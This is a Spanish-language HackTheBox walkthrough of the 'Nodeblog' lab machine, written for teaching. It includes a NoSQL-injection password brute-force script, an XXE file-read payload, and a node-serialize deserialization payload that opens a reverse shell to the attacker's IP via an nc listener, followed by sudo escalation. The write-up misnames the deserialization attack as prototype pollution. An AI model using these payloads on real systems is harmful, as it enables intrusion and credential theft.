HackTheBox - Nodeblog
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: SSTI, NoSQL Injection, Prototype Pollution
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina NodeBlog
b. Vemos las versiones de los servicios que se están ejecutando en los puertos
c. Al visitar el sitio web ejecutándose en el puerto 5000 nos encontramos con un panel de autenticación, veremos como se envía la data con Burp Suite
1
user=admin&password=admin
Al intentar con inyecciones
SQL
no funcionan, así que otro método son las inyeccionesNoSQL
🔷 Si ingresamos un nombre de usuario válido nos saldrá un mensaje de
Invalid Password
, por lo cual tenemos una forma de enumerar usuarios válidos."$ne"
significano equal
, por lo que nos loguearemos como el usuarioadmin
y que no tenga por contraseñaa
Creamos un script para dumpear la contraseña de este usuario
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
import requests import string from pwn import * def brute_force() -> None: main_url = "http://<IP>:5000/login" characteres = string.ascii_letters + string.digits headers = {"Content-Type": "application/json"} password="" bar_1 = log.progress("Brute Force") bar_1.status("Starting Brute Force...") bar_2 = log.progress("Password") for index in range(26): for character in characteres: k = password+character data = '{"user":"admin","password":{"$regex":"^'+k+'.*"}}' r = requests.post(main_url, headers=headers, data=data) bar_1.status(data) if("Invalid Password" not in r.text): password += character bar_2.status(password) break if __name__ == "__main__": brute_force() ------------------------------------------------------------------------ [◓] Password: IppsecSaysPleaseSubscribe
d. Una vez nos autenticamos en el servicio, existe un apartado para subir ficheros el cual únicamente acepta ficheros XML
Creamos un fichero XML Malicioso para comprobar si la página web es vulnerable a XXE
1 2 3 4 5 6 7
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <title>Test</title> <description>&xxe;</description> <markdown>Test</markdown> </root>
Si queremos leer archivos importantes del servidor, debemos saber en que ruta estamos actualmente, y para eso, lo que haremos es provocar un error
La ruta actual es /opt/blog
Los nombres más comúnes de archivos que contenga el código de la página web son app.js, server.js, main.js. Iremos testeando con cada uno en el ataque XXE
- La ruta es
/opt/blog/service.js
1 2 3 4 5 6 7 8
<SNIP> const serialize = require('node-serialize') function authenticated(c) { c = serialize.unserialize(c) } res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) }) <SNIP>
Al anlizar el código filtrado por el XXE vemos que se serializa una deserialización de las cookies
- La ruta es
e. El ataque que ejecutaremos es Prototype Pollution
, inyectaremos el código en las cookies
Usaremos nodejsshell.py para crear un payload
1
python2 serialize.py 10.10.14.115 4444
f. En HackTricks vemos un payload al cual sumaremos el output del comando anterior
1
{"rce":"_$$ND_FUNC$$_function(){payload}()"}
Lo más importante en el payload son los () al final, ya que esto hará que nuestro payload se ejecute antes de ser deserializado
El payload final los urlencodeados **echo -n ‘payload’ jq -sSr @uri**
g. Nos ponemos en escucha con nc -lvnp 4444 y el payload urlencodeado lo sustituimos en las cookies del navegador y recargamos la página
1
2
3
4
5
listening on [any] 4444 ...
connect to [10.10.14.115] from (UNKNOWN) [10.10.11.139] 39540
Connected!
whoami
admin
Escalada de Privilegios 💹
a. Listamos los permisos que tengamos como admin
1
2
3
4
5
6
7
admin@nodeblog:/opt/blog$ sudo -l
sudo -l
[sudo] password for admin: IppsecSaysPleaseSubscribe
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
Podemos ejecutar cualquier comando como
root
b. Ejecutamos sudo su
y leemos las flags
1
2
3
4
5
admin@nodeblog:/opt/blog$ sudo su
root@nodeblog:/opt/blog# cat /home/admin/user.txt
c51fb8fabc95d5f33a6906d850a5f997
root@nodeblog:/opt/blog# cat /root/root.txt
b4dbf647e084f886321b196d4b4643fd